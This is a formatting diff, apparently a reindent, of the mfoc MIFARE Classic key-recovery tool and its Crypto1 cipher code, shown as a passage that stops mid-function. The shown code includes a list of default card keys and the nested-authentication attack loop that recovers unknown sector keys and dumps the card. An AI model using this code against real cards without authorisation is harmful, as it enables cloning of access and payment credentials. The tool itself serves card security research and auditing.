(x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16) + (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16) -struct Crypto1State * crypto1_create(uint64_t key) -{ - struct Crypto1State *s = malloc(sizeof(*s)); - int i; +struct Crypto1State *crypto1_create(uint64_t key) { + struct Crypto1State *s = malloc(sizeof(*s)); + int i; - for(i = 47;s && i > 0; i -= 2) { - s->odd = s->odd << 1 | BIT(key, (i - 1) ^ 7); - s->even = s->even << 1 | BIT(key, i ^ 7); - } - return s; + for (i = 47; s && i > 0; i -= 2) { + s->odd = s->odd << 1 | BIT(key, (i - 1) ^ 7); + s->even = s->even << 1 | BIT(key, i ^ 7); + } + return s; } void crypto1_destroy(struct Crypto1State *state) { - free(state); + free(state); } void crypto1_get_lfsr(struct Crypto1State *state, uint64_t *lfsr) { - int i; - for(*lfsr = 0, i = 23; i >= 0; --i) { - *lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3); - *lfsr = *lfsr << 1 | BIT(state->even, i ^ 3); - } + int i; + for (*lfsr = 0, i = 23; i >= 0; --i) { + *lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3); + *lfsr = *lfsr << 1 | BIT(state->even, i ^ 3); + } } uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted) { - uint32_t feedin; - uint8_t ret = filter(s->odd); + uint32_t feedin; + uint8_t ret = filter(s->odd); - feedin = ret & !!is_encrypted; - feedin ^= !!in; - feedin ^= LF_POLY_ODD & s->odd; - feedin ^= LF_POLY_EVEN & s->even; - s->even = s->even << 1 | parity(feedin); + feedin = ret & !!is_encrypted; + feedin ^= !!in; + feedin ^= LF_POLY_ODD & s->odd; + feedin ^= LF_POLY_EVEN & s->even; + s->even = s->even << 1 | parity(feedin); - s->odd ^= (s->odd ^= s->even, s->even ^= s->odd); + s->odd ^= (s->odd ^= s->even, s->even ^= s->odd); - return ret; + return ret; } uint8_t crypto1_byte(struct Crypto1State *s, uint8_t in, int is_encrypted) { - uint8_t i, ret = 0; + uint8_t i, ret = 0; - for (i = 0; i < 8; ++i) - ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i; + for (i = 0; i < 8; ++i) + ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i; - return ret; + return ret; } uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted) { - uint32_t i, ret = 0; + uint32_t i, ret = 0; - for (i = 0; i < 32; ++i) - ret |= crypto1_bit(s, BEBIT(in, i), is_encrypted) << (i ^ 24); + for (i = 0; i < 32; ++i) + ret |= crypto1_bit(s, BEBIT(in, i), is_encrypted) << (i ^ 24); - return ret; + return ret; } /* prng_successor @@ -85,9 +84,9 @@ uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted) */ uint32_t prng_successor(uint32_t x, uint32_t n) { - SWAPENDIAN(x); - while(n--) - x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31; + SWAPENDIAN(x); + while (n--) + x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31; - return SWAPENDIAN(x); + return SWAPENDIAN(x); } diff --git a/src/mfoc.c b/src/mfoc.c index 292b8a1..5906ac2 100644 --- a/src/mfoc.c +++ b/src/mfoc.c @@ -52,926 +52,939 @@ nfc_context *context; -int main(int argc, char * const argv[]) { - const nfc_modulation nm = { - .nmt = NMT_ISO14443A, - .nbr = NBR_106, - }; +int main(int argc, char *const argv[]) +{ + const nfc_modulation nm = { + .nmt = NMT_ISO14443A, + .nbr = NBR_106, + }; - int ch, i, k, n, j, m; - int key, block; - int succeed = 1; + int ch, i, k, n, j, m; + int key, block; + int succeed = 1; - // Exploit sector - int e_sector; - int probes = DEFAULT_PROBES_NR; - int sets = DEFAULT_SETS_NR; + // Exploit sector + int e_sector; + int probes = DEFAULT_PROBES_NR; + int sets = DEFAULT_SETS_NR; - // By default, dump 'A' keys - int dumpKeysA = true; - bool failure = false; - bool skip = false; + // By default, dump 'A' keys + int dumpKeysA = true; + bool failure = false; + bool skip = false; - // Next default key specified as option (-k) - uint8_t * defKeys = NULL, *p; - size_t defKeys_len = 0; + // Next default key specified as option (-k) + uint8_t *defKeys = NULL, *p; + size_t defKeys_len = 0; - // Array with default Mifare Classic keys - uint8_t defaultKeys[][6] = { - {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // Default key (first key used by program if no user defined key) - {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, // NFCForum MAD key - {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}, // NFCForum content key - {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // Blank key - {0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5}, - {0x4d, 0x3a, 0x99, 0xc3, 0x51, 0xdd}, - {0x1a, 0x98, 0x2c, 0x7e, 0x45, 0x9a}, - {0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff}, - {0x71, 0x4c, 0x5c, 0x88, 0x6e, 0x97}, - {0x58, 0x7e, 0xe5, 0xf9, 0x35, 0x0f}, - {0xa0, 0x47, 0x8c, 0xc3, 0x90, 0x91}, - {0x53, 0x3c, 0xb6, 0xc7, 0x23, 0xf6}, - {0x8f, 0xd0, 0xa4, 0xf2, 0x56, 0xe9} + // Array with default Mifare Classic keys + uint8_t defaultKeys[][6] = { + {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // Default key (first key used by program if no user defined key) + {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, // NFCForum MAD key + {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}, // NFCForum content key + {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // Blank key + {0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5}, + {0x4d, 0x3a, 0x99, 0xc3, 0x51, 0xdd}, + {0x1a, 0x98, 0x2c, 0x7e, 0x45, 0x9a}, + {0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff}, + {0x71, 0x4c, 0x5c, 0x88, 0x6e, 0x97}, + {0x58, 0x7e, 0xe5, 0xf9, 0x35, 0x0f}, + {0xa0, 0x47, 0x8c, 0xc3, 0x90, 0x91}, + {0x53, 0x3c, 0xb6, 0xc7, 0x23, 0xf6}, + {0x8f, 0xd0, 0xa4, 0xf2, 0x56, 0xe9} - }; + }; - mftag t; - mfreader r; - denonce d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}}; + mftag t; + mfreader r; + denonce d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}}; - // Pointers to possible keys - pKeys *pk; - countKeys *ck; + // Pointers to possible keys + pKeys *pk; + countKeys *ck; - // Pointer to already broken keys, except defaults - bKeys *bk; + // Pointer to already broken keys, except defaults + bKeys *bk; - static mifare_param mp; - static mifare_classic_tag mtDump; + static mifare_param mp; + static mifare_classic_tag mtDump; - mifare_cmd mc; - FILE *pfDump = NULL; + mifare_cmd mc; + FILE *pfDump = NULL; - // Parse command line arguments - while ((ch = getopt(argc, argv, "hD:s:BP:T:S:O:k:t:")) != -1) { - switch (ch) { - case 'P': - // Number of probes - if (!(probes = atoi(optarg)) || probes < 1) { - ERR ("The number of probes must be a positive number"); - exit (EXIT_FAILURE); - } - // fprintf(stdout, "Number of probes: %d\n", probes); - break; - case 'T': - { - int res; - // Nonce tolerance range - if (((res = atoi(optarg)) < 0)) { - ERR ("The nonce distances range must be a zero or a positive number"); - exit (EXIT_FAILURE); - } - d.tolerance = (uint32_t)res; - // fprintf(stdout, "Tolerance number: %d\n", probes); - } - break; - case 'k': - // Add this key to the default keys - p = realloc(defKeys, defKeys_len + 6); - if (!p) { - ERR ("Cannot allocate memory for defKeys"); - exit (EXIT_FAILURE); - } - defKeys = p; - memset(defKeys+defKeys_len, 0, 6); - num_to_bytes(strtoll(optarg, NULL, 16), 6, defKeys+defKeys_len); - fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKeys+defKeys_len, 6)); - defKeys_len = defKeys_len + 6; + // Parse command line arguments + while ((ch = getopt(argc, argv, "hD:s:BP:T:S:O:k:t:")) != -1) { + switch (ch) { + case 'P': + // Number of probes + if (!(probes = atoi(optarg)) || probes < 1) { + ERR("The number of probes must be a positive number"); + exit(EXIT_FAILURE); + } + // fprintf(stdout, "Number of probes: %d\n", probes); + break; + case 'T': { + int res; + // Nonce tolerance range + if (((res = atoi(optarg)) < 0)) { + ERR("The nonce distances range must be a zero or a positive number"); + exit(EXIT_FAILURE); + } + d.tolerance = (uint32_t)res; + // fprintf(stdout, "Tolerance number: %d\n", probes); + } + break; + case 'k': + // Add this key to the default keys + p = realloc(defKeys, defKeys_len + 6); + if (!p) { + ERR("Cannot allocate memory for defKeys"); + exit(EXIT_FAILURE); + } + defKeys = p; + memset(defKeys + defKeys_len, 0, 6); + num_to_bytes(strtoll(optarg, NULL, 16), 6, defKeys + defKeys_len); + fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKeys + defKeys_len, 6)); + defKeys_len = defKeys_len + 6; - break; - case 'O': - // File output - if (!(pfDump = fopen(optarg, "wb"))) { - fprintf(stderr, "Cannot open: %s, exiting\n", optarg); - exit (EXIT_FAILURE); - } - // fprintf(stdout, "Output file: %s\n", optarg); - break; - case 'h': - usage(stdout, 0); - break; - default: - usage(stderr, 1); - break; - } - } + break; + case 'O': + // File output + if (!(pfDump = fopen(optarg, "wb"))) { + fprintf(stderr, "Cannot open: %s, exiting\n", optarg); + exit(EXIT_FAILURE); + } + // fprintf(stdout, "Output file: %s\n", optarg); + break; + case 'h': + usage(stdout, 0); + break; + default: + usage(stderr, 1); + break; + } + } - if (!pfDump) { - ERR ("parameter -O is mandatory"); - exit (EXIT_FAILURE); - } + if (!pfDump) { + ERR("parameter -O is mandatory"); + exit(EXIT_FAILURE); + } - // Initialize reader/tag structures - mf_init(&r); + // Initialize reader/tag structures + mf_init(&r); - if (nfc_initiator_init (r.pdi) < 0) { - nfc_perror (r.pdi, "nfc_initiator_init"); - goto error; - } - // Drop the field for a while, so can be reset - if (nfc_device_set_property_bool(r.pdi, NP_ACTIVATE_FIELD, true) < 0) { - nfc_perror (r.pdi, "nfc_device_set_property_bool activate field"); - goto error; - } - // Let the reader only try once to find a tag - if (nfc_device_set_property_bool(r.pdi, NP_INFINITE_SELECT, false) < 0) { - nfc_perror (r.pdi, "nfc_device_set_property_bool infinite select"); - goto error; - } - // Configure the CRC and Parity settings - if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true) < 0) { - nfc_perror (r.pdi, "nfc_device_set_property_bool crc"); - goto error; - } - if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true) < 0) { - nfc_perror (r.pdi, "nfc_device_set_property_bool parity"); - goto error; - } + if (nfc_initiator_init(r.pdi) < 0) { + nfc_perror(r.pdi, "nfc_initiator_init"); + goto error; + } + // Drop the field for a while, so can be reset + if (nfc_device_set_property_bool(r.pdi, NP_ACTIVATE_FIELD, true) < 0) { + nfc_perror(r.pdi, "nfc_device_set_property_bool activate field"); + goto error; + } + // Let the reader only try once to find a tag + if (nfc_device_set_property_bool(r.pdi, NP_INFINITE_SELECT, false) < 0) { + nfc_perror(r.pdi, "nfc_device_set_property_bool infinite select"); + goto error; + } + // Configure the CRC and Parity settings + if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true) < 0) { + nfc_perror(r.pdi, "nfc_device_set_property_bool crc"); + goto error; + } + if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true) < 0) { + nfc_perror(r.pdi, "nfc_device_set_property_bool parity"); + goto error; + } -/* - // wait for tag to appear - for (i=0;!nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) && i < 10; i++) zsleep (100); -*/ + /* + // wait for tag to appear + for (i=0;!nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) && i < 10; i++) zsleep (100); + */ - // mf_select_tag(r.pdi, &(t.nt)); - if (nfc_initiator_select_passive_target (r.pdi, nm, NULL, 0, &t.nt) < 0) { - nfc_perror (r.pdi, "nfc_initiator_select_passive_target"); - goto error; - } + // mf_select_tag(r.pdi, &(t.nt)); + if (nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) < 0) { + nfc_perror(r.pdi, "nfc_initiator_select_passive_target"); + goto error; + } - // Test if a compatible MIFARE tag is used - if ((t.nt.nti.nai.btSak & 0x08) == 0) { - ERR ("only Mifare Classic is supported"); - goto error; - } + // Test if a compatible MIFARE tag is used + if ((t.nt.nti.nai.btSak & 0x08) == 0) { + ERR("only Mifare Classic is supported"); + goto error; + } - // Save tag's block size (b4K) - t.b4K = (t.nt.nti.nai.abtAtqa[1] == 0x02); - t.authuid = (uint32_t) bytes_to_num(t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, 4); + // Save tag's block size (b4K) + t.b4K = (t.nt.nti.nai.abtAtqa[1] == 0x02); + t.authuid = (uint32_t) bytes_to_num(t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, 4); - t.num_blocks = (t.b4K) ? 0xff : 0x3f; - t.num_sectors = t.b4K ? NR_TRAILERS_4k : NR_TRAILERS_1k; + t.num_blocks = (t.b4K) ? 0xff : 0x3f; + t.num_sectors = t.b4K ? NR_TRAILERS_4k : NR_TRAILERS_1k; - t.sectors = (void *) calloc(t.num_sectors, sizeof(sector)); - if (t.sectors == NULL) { - ERR ("Cannot allocate memory for t.sectors"); - goto error; - } - if ((pk = (void *) malloc(sizeof(pKeys))) == NULL) { - ERR ("Cannot allocate memory for pk"); - goto error; - } - if ((bk = (void *) malloc(sizeof(bKeys))) == NULL) { - ERR ("Cannot allocate memory for bk"); - goto error; - } else { - bk->brokenKeys = NULL; - bk->size = 0; - } + t.sectors = (void *) calloc(t.num_sectors, sizeof(sector)); + if (t.sectors == NULL) { + ERR("Cannot allocate memory for t.sectors"); + goto error; + } + if ((pk = (void *) malloc(sizeof(pKeys))) == NULL) { + ERR("Cannot allocate memory for pk"); + goto error; + } + if ((bk = (void *) malloc(sizeof(bKeys))) == NULL) { + ERR("Cannot allocate memory for bk"); + goto error; + } else { + bk->brokenKeys = NULL; + bk->size = 0; + } - d.distances = (void *) calloc(d.num_distances, sizeof(uint32_t)); - if (d.distances == NULL) { - ERR ("Cannot allocate memory for t.distances"); - goto error; - } + d.distances = (void *) calloc(d.num_distances, sizeof(uint32_t)); + if (d.distances == NULL) { + ERR("Cannot allocate memory for t.distances"); + goto error; + } - // Initialize t.sectors, keys are not known yet - for (uint8_t s = 0; s < (t.num_sectors); ++s) { - t.sectors[s].foundKeyA = t.sectors[s].foundKeyB = false; - } + // Initialize t.sectors, keys are not known yet + for (uint8_t s = 0; s < (t.num_sectors); ++s) { + t.sectors[s].foundKeyA = t.sectors[s].foundKeyB = false; + } - print_nfc_target (t.nt, true); + print_nfc_target(t.nt, true); - // Try to authenticate to all sectors with default keys - // Set the authentication information (uid) - memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid)); - // Iterate over all keys (n = number of keys) - n = sizeof(defaultKeys)/sizeof(defaultKeys[0]); - size_t defKey_bytes_todo = defKeys_len; - key = 0; - while (key < n) { - if (defKey_bytes_todo > 0) { - memcpy(mp.mpa.abtKey, defKeys + defKeys_len - defKey_bytes_todo, sizeof(mp.mpa.abtKey)); - defKey_bytes_todo -= sizeof(mp.mpa.abtKey); - } else { - memcpy(mp.mpa.abtKey, defaultKeys[key], sizeof(mp.mpa.abtKey)); - key++; - } - fprintf(stdout, "[Key: %012llx] -> ", bytes_to_num(mp.mpa.abtKey, 6)); - fprintf(stdout, "["); - i = 0; // Sector counter - // Iterate over every block, where we haven't found a key yet - for (block = 0; block <= t.num_blocks; ++block) { - if (trailer_block(block)) { - if (!t.sectors[i].foundKeyA) { - mc = MC_AUTH_A; - if (!nfc_initiator_mifare_cmd(r.pdi,mc,block,&mp)) { - // fprintf(stdout, "!!Error: AUTH [Key A:%012llx] sector %02x t_block %02x\n", - // bytes_to_num(mp.mpa.abtKey, 6), i, block); - mf_anticollision(t, r); - } else { - // Save all information about successfull keyA authentization - memcpy(t.sectors[i].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); - t.sectors[i].foundKeyA = true; - } - } - if (!t.sectors[i].foundKeyB) { - mc = MC_AUTH_B; - if (!nfc_initiator_mifare_cmd(r.pdi,mc,block,&mp)) { - // fprintf(stdout, "!!Error: AUTH [Key B:%012llx] sector %02x t_block %02x\n", - // bytes_to_num(mp.mpa.abtKey, 6), i, block); - mf_anticollision(t, r); - // No success, try next block - t.sectors[i].trailer = block; - } else { - memcpy(t.sectors[i].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); - t.sectors[i].foundKeyB = true; - } - } - if ((t.sectors[i].foundKeyA) && (t.sectors[i].foundKeyB)) { - fprintf(stdout, "x"); - } else if (t.sectors[i].foundKeyA) { - fprintf(stdout, "/"); - } else if (t.sectors[i].foundKeyB) { - fprintf(stdout, "\\"); - } else { - fprintf(stdout, "."); - } - fflush(stdout); - // fprintf(stdout, "\nSuccess: AUTH [Key %c:%012llx] sector %02x t_block %02x\n", - // (mc == MC_AUTH_A ? 'A' :'B'), bytes_to_num(mp.mpa.abtKey, 6), i, block); - // Save position of a trailer block to sector struct - t.sectors[i++].trailer = block; - } - } - fprintf(stdout, "]\n"); - } + // Try to authenticate to all sectors with default keys + // Set the authentication information (uid) + memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid)); + // Iterate over all keys (n = number of keys) + n = sizeof(defaultKeys) / sizeof(defaultKeys[0]); + size_t defKey_bytes_todo = defKeys_len; + key = 0; + while (key < n) { + if (defKey_bytes_todo > 0) { + memcpy(mp.mpa.abtKey, defKeys + defKeys_len - defKey_bytes_todo, sizeof(mp.mpa.abtKey)); + defKey_bytes_todo -= sizeof(mp.mpa.abtKey); + } else { + memcpy(mp.mpa.abtKey, defaultKeys[key], sizeof(mp.mpa.abtKey)); + key++; + } + fprintf(stdout, "[Key: %012llx] -> ", bytes_to_num(mp.mpa.abtKey, 6)); + fprintf(stdout, "["); + i = 0; // Sector counter + // Iterate over every block, where we haven't found a key yet + for (block = 0; block <= t.num_blocks; ++block) { + if (trailer_block(block)) { + if (!t.sectors[i].foundKeyA) { + mc = MC_AUTH_A; + if (!nfc_initiator_mifare_cmd(r.pdi, mc, block, &mp)) { + // fprintf(stdout, "!!Error: AUTH [Key A:%012llx] sector %02x t_block %02x\n", + // bytes_to_num(mp.mpa.abtKey, 6), i, block); + mf_anticollision(t, r); + } else { + // Save all information about successfull keyA authentization + memcpy(t.sectors[i].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); + t.sectors[i].foundKeyA = true; + } + } + if (!t.sectors[i].foundKeyB) { + mc = MC_AUTH_B; + if (!nfc_initiator_mifare_cmd(r.pdi, mc, block, &mp)) { + // fprintf(stdout, "!!Error: AUTH [Key B:%012llx] sector %02x t_block %02x\n", + // bytes_to_num(mp.mpa.abtKey, 6), i, block); + mf_anticollision(t, r); + // No success, try next block + t.sectors[i].trailer = block; + } else { + memcpy(t.sectors[i].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); + t.sectors[i].foundKeyB = true; + } + } + if ((t.sectors[i].foundKeyA) && (t.sectors[i].foundKeyB)) { + fprintf(stdout, "x"); + } else if (t.sectors[i].foundKeyA) { + fprintf(stdout, "/"); + } else if (t.sectors[i].foundKeyB) { + fprintf(stdout, "\\"); + } else { + fprintf(stdout, "."); + } + fflush(stdout); + // fprintf(stdout, "\nSuccess: AUTH [Key %c:%012llx] sector %02x t_block %02x\n", + // (mc == MC_AUTH_A ? 'A' :'B'), bytes_to_num(mp.mpa.abtKey, 6), i, block); + // Save position of a trailer block to sector struct + t.sectors[i++].trailer = block; + } + } + fprintf(stdout, "]\n"); + } - fprintf(stdout, "\n"); - for (i = 0; i < (t.num_sectors); ++i) { - fprintf(stdout, "Sector %02d - %12s ", i, ((t.sectors[i].foundKeyA) ? " FOUND_KEY [A]" : " UNKNOWN_KEY [A]")); - fprintf(stdout, "Sector %02d - %12s ", i, ((t.sectors[i].foundKeyB) ? " FOUND_KEY [B]" : " UNKNOWN_KEY [B]")); - fprintf(stdout, "\n"); - } - fflush(stdout); + fprintf(stdout, "\n"); + for (i = 0; i < (t.num_sectors); ++i) { + fprintf(stdout, "Sector %02d - %12s ", i, ((t.sectors[i].foundKeyA) ? " FOUND_KEY [A]" : " UNKNOWN_KEY [A]")); + fprintf(stdout, "Sector %02d - %12s ", i, ((t.sectors[i].foundKeyB) ? " FOUND_KEY [B]" : " UNKNOWN_KEY [B]")); + fprintf(stdout, "\n"); + } + fflush(stdout); - // Return the first (exploit) sector encrypted with the default key or -1 (we have all keys) - e_sector = find_exploit_sector(t); - //mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd'); // AUTH + Get Distances mode + // Return the first (exploit) sector encrypted with the default key or -1 (we have all keys) + e_sector = find_exploit_sector(t); + //mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd'); // AUTH + Get Distances mode - // Recover key from encrypted sectors, j is a sector counter - for (m = 0; m < 2; ++m) { - if (e_sector == -1) break; // All keys are default, I am skipping recovery mode - for (j = 0; j < (t.num_sectors); ++j) { - memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid)); - if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) { + // Recover key from encrypted sectors, j is a sector counter + for (m = 0; m < 2; ++m) { + if (e_sector == -1) break; // All keys are default, I am skipping recovery mode + for (j = 0; j < (t.num_sectors); ++j) { + memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid)); + if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) { - // First, try already broken keys - skip = false; - for (uint32_t o = 0; o < bk->size; o++) { - num_to_bytes(bk->brokenKeys[o], 6, mp.mpa.abtKey); - mc = dumpKeysA ? 0x60 : 0x61; - if (!nfc_initiator_mifare_cmd(r.pdi,mc,t.sectors[j].trailer,&mp)) { - // fprintf(stdout, "!!Error: AUTH [Key A:%012llx] sector %02x t_block %02x, key %d\n", - // bytes_to_num(mp.mpa.abtKey, 6), j, t.sectors[j].trailer, o); - mf_anticollision(t, r); - } else { - // Save all information about successfull authentization - if (dumpKeysA) { - memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); - t.sectors[j].foundKeyA = true; - } else { - memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); - t.sectors[j].foundKeyB = true; - } - printf("Sector: %d, type %c\n", j, (dumpKeysA ? 'A' : 'B')); - fprintf(stdout, "Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'), - bytes_to_num(mp.mpa.abtKey, 6)); - mf_configure(r.pdi); - mf_anticollision(t, r); - skip = true; - break; - } - } - if (skip) continue; // We have already revealed key, go to the next iteration + // First, try already broken keys + skip = false; + for (uint32_t o = 0; o < bk->size; o++) { + num_to_bytes(bk->brokenKeys[o], 6, mp.mpa.abtKey); + mc = dumpKeysA ? 0x60 : 0x61; + if (!nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) { + // fprintf(stdout, "!!Error: AUTH [Key A:%012llx] sector %02x t_block %02x, key %d\n", + // bytes_to_num(mp.mpa.abtKey, 6), j, t.sectors[j].trailer, o); + mf_anticollision(t, r); + } else { + // Save all information about successfull authentization + if (dumpKeysA) { + memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); + t.sectors[j].foundKeyA = true; + } else { + memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); + t.sectors[j].foundKeyB = true; + } + printf("Sector: %d, type %c\n", j, (dumpKeysA ? 'A' : 'B')); + fprintf(stdout, "Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'), + bytes_to_num(mp.mpa.abtKey, 6)); + mf_configure(r.pdi); + mf_anticollision(t, r); + skip = true; + break; + } + } + if (skip) continue; // We have already revealed key, go to the next iteration - // Max probes for auth for each sector - for (k = 0; k < probes; ++k) { - // Try to authenticate to exploit sector and determine distances (filling denonce.distances) - mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode - printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median); - // Configure device to the previous state - mf_configure(r.pdi); - mf_anticollision(t, r); + // Max probes for auth for each sector + for (k = 0; k < probes; ++k) { + // Try to authenticate to exploit sector and determine distances (filling denonce.distances) + mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode + printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median); + // Configure device to the previous state + mf_configure(r.pdi); + mf_anticollision(t, r); - pk->possibleKeys = NULL; - pk->size = 0; - // We have 'sets' * 32b keystream of potential keys - for (n = 0; n < sets; n++) { - // AUTH + Recovery key mode (for a_sector), repeat 5 times - mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA); - mf_configure(r.pdi); - mf_anticollision(t, r); - fprintf(stdout, "."); - fflush(stdout); - } - fprintf(stdout, "\n"); - // Get first 15 grouped keys - ck = uniqsort(pk->possibleKeys, pk->size); - for (i = 0; i < TRY_KEYS ; i++) { - // We don't known this key, try to break it - // This key can be found here two or more times - if (ck[i].count > 0) { - // fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key); - // Set required authetication method - num_to_bytes(ck[i].key, 6, mp.mpa.abtKey); - mc = dumpKeysA ? 0x60 : 0x61; - if (!nfc_initiator_mifare_cmd(r.pdi,mc,t.sectors[j].trailer,&mp)) { - // fprintf(stdout, "!!Error: AUTH [Key A:%llx] sector %02x t_block %02x\n", - // bytes_to_num(mp.mpa.abtKey, 6), j, t.sectors[j].trailer); - mf_anticollision(t, r); - } else { - // Save all information about successfull authentization - bk->size++; - bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t)); - bk->brokenKeys[bk->size-1] = bytes_to_num(mp.mpa.abtKey, 6); - if (dumpKeysA) { - memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); - t.sectors[j].foundKeyA = true; + pk->possibleKeys = NULL; + pk->size = 0; + // We have 'sets' * 32b keystream of potential keys + for (n = 0; n < sets; n++) { + // AUTH + Recovery key mode (for a_sector), repeat 5 times + mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA); + mf_configure(r.pdi); + mf_anticollision(t, r); + fprintf(stdout, "."); + fflush(stdout); + } + fprintf(stdout, "\n"); + // Get first 15 grouped keys + ck = uniqsort(pk->possibleKeys, pk->size); + for (i = 0; i < TRY_KEYS ; i++) { + // We don't known this key, try to break it + // This key can be found here two or more times + if (ck[i].count > 0) { + // fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key); + // Set required authetication method + num_to_bytes(ck[i].key, 6, mp.mpa.abtKey); + mc = dumpKeysA ? 0x60 : 0x61; + if (!nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) { + // fprintf(stdout, "!!Error: AUTH [Key A:%llx] sector %02x t_block %02x\n", + // bytes_to_num(mp.mpa.abtKey, 6), j, t.sectors[j].trailer); + mf_anticollision(t, r); + } else { + // Save all information about successfull authentization + bk->size++; + bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t)); + bk->brokenKeys[bk->size - 1] = bytes_to_num(mp.mpa.abtKey, 6); + if (dumpKeysA) { + memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); + t.sectors[j].foundKeyA = true; - } else { - memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); - t.sectors[j].foundKeyB = true; - } - fprintf(stdout, "Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'), - bytes_to_num(mp.mpa.abtKey, 6)); - mf_configure(r.pdi); - mf_anticollision(t, r); - break; - } - } - } - free(pk->possibleKeys); - free(ck); - // Success, try the next sector - if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break; - } - // We haven't found any key, exiting - if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) { - ERR ("No success, maybe you should increase the probes"); - goto error; - } - } - } - dumpKeysA = false; - } + } else { + memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); + t.sectors[j].foundKeyB = true; + } + fprintf(stdout, "Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'), + bytes_to_num(mp.mpa.abtKey, 6)); + mf_configure(r.pdi); + mf_anticollision(t, r); + break; + } + } + } + free(pk->possibleKeys); + 